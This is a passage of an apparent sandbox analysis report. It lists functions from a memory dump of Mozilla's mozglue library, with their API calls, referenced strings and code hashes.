Part of subcall function 6C547480: ReleaseSRWLockExclusive.KERNEL32(?,6C5515FC,?,?,?,?,6C5515FC,?), ref: 6C5474EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54CECC

Part of subcall function 6C50CA10: mozalloc_abort.MOZGLUE(?), ref: 6C50CAA2

Part of subcall function 6C53CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C54CEEA,?,?,?,?,00000000,?,6C53DA31,00100000,?,?,00000000), ref: 6C53CB57
Part of subcall function 6C53CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C53CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C54CEEA,?,?), ref: 6C53CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C53DA31,00100000,?,?,00000000,?), ref: 6C54D058

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 12690a8aa991f2815273569d2842e0e9a2c9b8685d34fb522ecfff7a702d90ba
Instruction ID: b20e4372f1f7e301dc1cf47cbd896b9745b71123f486bb9ed8945c8e5e499258
Opcode Fuzzy Hash: 12690a8aa991f2815273569d2842e0e9a2c9b8685d34fb522ecfff7a702d90ba
Instruction Fuzzy Hash: 76D15F71A04B46DFD708CF28C880B99F7E1BF99304F01866DD9598B751EB31B9A5CB81

Function 6C501720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C5017B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C5018EE
free.MOZGLUE(?), ref: 6C501911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50194C

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: d3ce2be582eb613765cc9237789a961d4a9eccbcb1fb31b0938be73c2bea7d23
Instruction ID: b73b6ae35e400b3d70875aeca25a16d6d71f06a1aa9b9a3cca5c21bfa8acecf1
Opcode Fuzzy Hash: d3ce2be582eb613765cc9237789a961d4a9eccbcb1fb31b0938be73c2bea7d23
Instruction Fuzzy Hash: E9818E70A112159FDB08CF68DC949AFBBB1FF89318F04496CE851AB754E730E945CBA2

Function 6C515C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C515D40
EnterCriticalSection.KERNEL32(6C57F688), ref: 6C515D67
__aulldiv.LIBCMT ref: 6C515DB4
LeaveCriticalSection.KERNEL32(6C57F688), ref: 6C515DED

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5b9d77204436d463a63877e5e36980b36d56c21fbc4e221d56d20fb6d9af3ddd
Instruction ID: 30202c6725cf4a11c6a1e33630a14f5bcaf5d6da08bb9287f74e904cd423fca8
Opcode Fuzzy Hash: 5b9d77204436d463a63877e5e36980b36d56c21fbc4e221d56d20fb6d9af3ddd
Instruction Fuzzy Hash: 43518071E041298FDF09CF68CC58AAEBBB1FB85304F6A861DD811A7B50C7706985CBA0

Function 6C4FCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C4FCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C4FCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C4FCF4E

Strings

0, xrefs: 6C4FCF30

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 0c23c9ba66f7bf8e52f684e266896666dfb67b32065806c2ba59414e276533b2
Instruction ID: 260d7be4a65db92723a1d31d68958dbc938f73cf538a274368e346ac6e19bf05
Opcode Fuzzy Hash: 0c23c9ba66f7bf8e52f684e266896666dfb67b32065806c2ba59414e276533b2
Instruction Fuzzy Hash: 5751F075A00216CFCB10CF18C890EAAFBA5EF99300F19869DD8595F792D731AD06CBE0

Function 6C5577D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5577FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C557829

Part of subcall function 6C52CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C4F31A7), ref: 6C52CC45
Part of subcall function 6C52CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C4F31A7), ref: 6C52CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C55789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5578CF

Part of subcall function 6C4F4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4F4E5A
Part of subcall function 6C4F4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4F4E97

Part of subcall function 6C4F4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C533EBD,6C533EBD,00000000), ref: 6C4F42A9

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 231920ac22b0026d27533d1a8e308e336bd11fd38b72899d0f4560aa674a1b98
Instruction ID: 11154f9f2822add98986e5070c564202164a6bc670b1410faf2843919406e797
Opcode Fuzzy Hash: 231920ac22b0026d27533d1a8e308e336bd11fd38b72899d0f4560aa674a1b98
Instruction Fuzzy Hash: 0141A2719047469FD300DF29C88056AFBF4FFC9254F504A1EE4A987640DB70D959C7D2

Function 6C536470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5382BC,?,?), ref: 6C53649B

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5364A9

Part of subcall function 6C52FA80: GetCurrentThreadId.KERNEL32 ref: 6C52FA8D
Part of subcall function 6C52FA80: AcquireSRWLockExclusive.KERNEL32(6C57F448), ref: 6C52FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C53653F
free.MOZGLUE(?), ref: 6C53655A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: d02ea494902bb5494218ca930dc34c7c70227202ce4cf2e0944f5d91363bc5a7
Instruction ID: c0840562235624a06a3bc617a244d7fed659defcc791ae7e1d74304dac31e0df
Opcode Fuzzy Hash: d02ea494902bb5494218ca930dc34c7c70227202ce4cf2e0944f5d91363bc5a7
Instruction Fuzzy Hash: 73318FB5A043159FDB00CF14DC84A9ABBE4FFC9314F41842EE89A87741EB34E918CB92

Function 6C52FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C54D019,?,?,?,?,?,00000000,?,6C53DA31,00100000,?), ref: 6C52FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C54D019,?,?,?,?,?,00000000,?,6C53DA31,00100000,?,?), ref: 6C52FFF5
free.MOZGLUE(?,?,?,?,?,6C54D019,?,?,?,?,?,00000000,?,6C53DA31,00100000,?), ref: 6C53001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C54D019,?,?,?,?,?,00000000,?,6C53DA31,00100000,?,?), ref: 6C53002A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 9aca41bdd36d0e96fdc7c70f57c2311f0e3b0727c8dde583c81e8ec0353aca1e
Instruction ID: dcfef962b517763c6193b9933c66a4d2c054454ac1664900906cf697b34a9266
Opcode Fuzzy Hash: 9aca41bdd36d0e96fdc7c70f57c2311f0e3b0727c8dde583c81e8ec0353aca1e
Instruction Fuzzy Hash: 2C21C772B002259BD7189E78AC948AFB7BAEBC53247254738D425D77C0FB70AD0187A1

Function 6C50B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50B4F5
AcquireSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C50B502
ReleaseSRWLockExclusive.KERNEL32(6C57F4B8), ref: 6C50B542
free.MOZGLUE(?), ref: 6C50B578

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b1e2bee51966e45e2631a08bf9286c47f165b4590c2e73cafbb791b375fa3b3d
Instruction ID: fddaca423a6b7f7d00e4309d61413856e95fb92d7260a5eb5beed60271f8666c
Opcode Fuzzy Hash: b1e2bee51966e45e2631a08bf9286c47f165b4590c2e73cafbb791b375fa3b3d
Instruction Fuzzy Hash: F011DF30A04B51C7D722DF29DC447A1B3B1FF96318F11974AE849A3A02FBB1B5D487A5

Function 6C533DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4FF20E,?), ref: 6C533DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4FF20E,00000000,?), ref: 6C533DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C533E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C533E0E

Part of subcall function 6C52CC00: GetCurrentProcess.KERNEL32(?,?,6C4F31A7), ref: 6C52CC0D
Part of subcall function 6C52CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4F31A7), ref: 6C52CC16

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: eff5166ce407e872c54d851c302a6f50a1bfe345d0ebc145a037d778ca6cb2b5
Instruction ID: 9b555a7291e696752ef5bd1e071c46144f527b1ae0bc7d369750c6efe28dbb29
Opcode Fuzzy Hash: eff5166ce407e872c54d851c302a6f50a1bfe345d0ebc145a037d778ca6cb2b5
Instruction Fuzzy Hash: C9F082B1500218BBEB01AB54DC85DAB376CDB86624F050020FD0857741E735FD5586FB

Function 6C542050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C54205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C54201B,?,?,?,?,?,?,?,6C541F8F,?,?), ref: 6C542064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C54208E
free.MOZGLUE(?,?,?,00000000,?,6C54201B,?,?,?,?,?,?,?,6C541F8F,?,?), ref: 6C5420A3

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 135ed712c6cca609c7ecb8055648013eedf28991946dbefc34a9d608daeb02b0
Instruction ID: ab3608ca1c222419a3e176459763901745b731c44e6881d41532c6d3c9e58f1d
Opcode Fuzzy Hash: 135ed712c6cca609c7ecb8055648013eedf28991946dbefc34a9d608daeb02b0
Instruction Fuzzy Hash: E0F0B4B1104620DBD7119F16DC8875BBBF8EF86324F11051AE90687B11C772A845CBAA

Function 6C5485B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5485D3

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C548725

Strings

map/set<T> too long, xrefs: 6C548720

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 9b68e0b6a02b5831f667770efbb9a89621fa2b2cc6c0353921c690167d0418e2
Instruction ID: e7fa43c90b826340a42bb982293736eb2f1fd015d2b0e4c6995ec747bb02b791
Opcode Fuzzy Hash: 9b68e0b6a02b5831f667770efbb9a89621fa2b2cc6c0353921c690167d0418e2
Instruction Fuzzy Hash: 9F515274600641CFD741CF18C894A5ABBE1BF9A318F18C28AD8599BB62C335E885CFD2

Function 6C4FBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4FBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4FBE8F

Strings

0, xrefs: 6C4FBE5B

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 69e217ebf8355a78263eb8c3b56fbf049170e41c808301fe11f4d9d1b20d4915
Instruction ID: cb28a615ef0e0887b3aeae7909a27340ee346c999168843cd0d1f22c6b35ce1d
Opcode Fuzzy Hash: 69e217ebf8355a78263eb8c3b56fbf049170e41c808301fe11f4d9d1b20d4915
Instruction Fuzzy Hash: 7E41AF71909745CFC701DF28C481E9BBBF4AFCA388F008A1DF9A5A7611D730D94A8B92

Function 6C533CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C533D19
mozalloc_abort.MOZGLUE(?), ref: 6C533D6C

Strings

d, xrefs: 6C533D58

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 2b4f2863bd44fed7cda518433852f0bc4fef15c96cc68b748b50d749754693a5
Instruction ID: 44196b4388453395f8edf43aa3652414afc0a0f4e0b97781b8cb67178f8692db
Opcode Fuzzy Hash: 2b4f2863bd44fed7cda518433852f0bc4fef15c96cc68b748b50d749754693a5
Instruction Fuzzy Hash: D2110431E047A8DBDB029F6DCC144EDB775EF86258B45AA18DC499B612FB30A9C5C390

Function 6C504730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5044B2,6C57E21C,6C57F7F8), ref: 6C50473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C50474A

Strings

GetNtLoaderAPI, xrefs: 6C504744

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: c5187547bd6fe4af51f22ead46c3d717606eca40c3202e45c49d57f7013b36be
Instruction ID: 8dab48ef731dce1aea5a379f4ec7f501b45dcaa105efc249906f9c7bb18afef6
Opcode Fuzzy Hash: c5187547bd6fe4af51f22ead46c3d717606eca40c3202e45c49d57f7013b36be
Instruction Fuzzy Hash: 5D015E753023249FDF05AF668C8865E7BF9EB8B315B16446AE905C7700DB74DC028FA5

Function 6C556DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C556E22
__Init_thread_footer.LIBCMT ref: 6C556E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C556E1D

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 614213c8547446cc398e083e9d99aaef19e6d68b324b84134f9e53c28d8836cb
Instruction ID: e736feb7a4fb400bed9da86cdba361ae5242e5f6008f077101ae6a7d89f2479a
Opcode Fuzzy Hash: 614213c8547446cc398e083e9d99aaef19e6d68b324b84134f9e53c28d8836cb
Instruction Fuzzy Hash: 85F0593430A380CFDB12CB68CC54A8333725B43228F450266C40546FA1DB20B9A6CAB7

Function 6C509E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C509EEF

Strings

Infinity, xrefs: 6C509EB7
NaN, xrefs: 6C509EC1

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 3846b16e9c15d64662f6a85134f6d547e93a78bdc73ff202f290794b2cd37a30
Instruction ID: 8684d72f7db86bf0362648d4b853ad5c238983a829f6a9b9fb280f4b13337e97
Opcode Fuzzy Hash: 3846b16e9c15d64662f6a85134f6d547e93a78bdc73ff202f290794b2cd37a30
Instruction Fuzzy Hash: ABF0CD70714252CBDB12CF18DE49B9033B1BB47308F230B19C9040AB90D73569C6CABA

Function 6C506C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KSl,?,6C534B30,80000000,?,6C534AB7,?,6C4F43CF,?,6C4F42D2), ref: 6C506C42

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

moz_xmalloc.MOZGLUE(0KSl,?,6C534B30,80000000,?,6C534AB7,?,6C4F43CF,?,6C4F42D2), ref: 6C506C58

Strings

0KSl, xrefs: 6C506C33, 6C506C41, 6C506C57

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
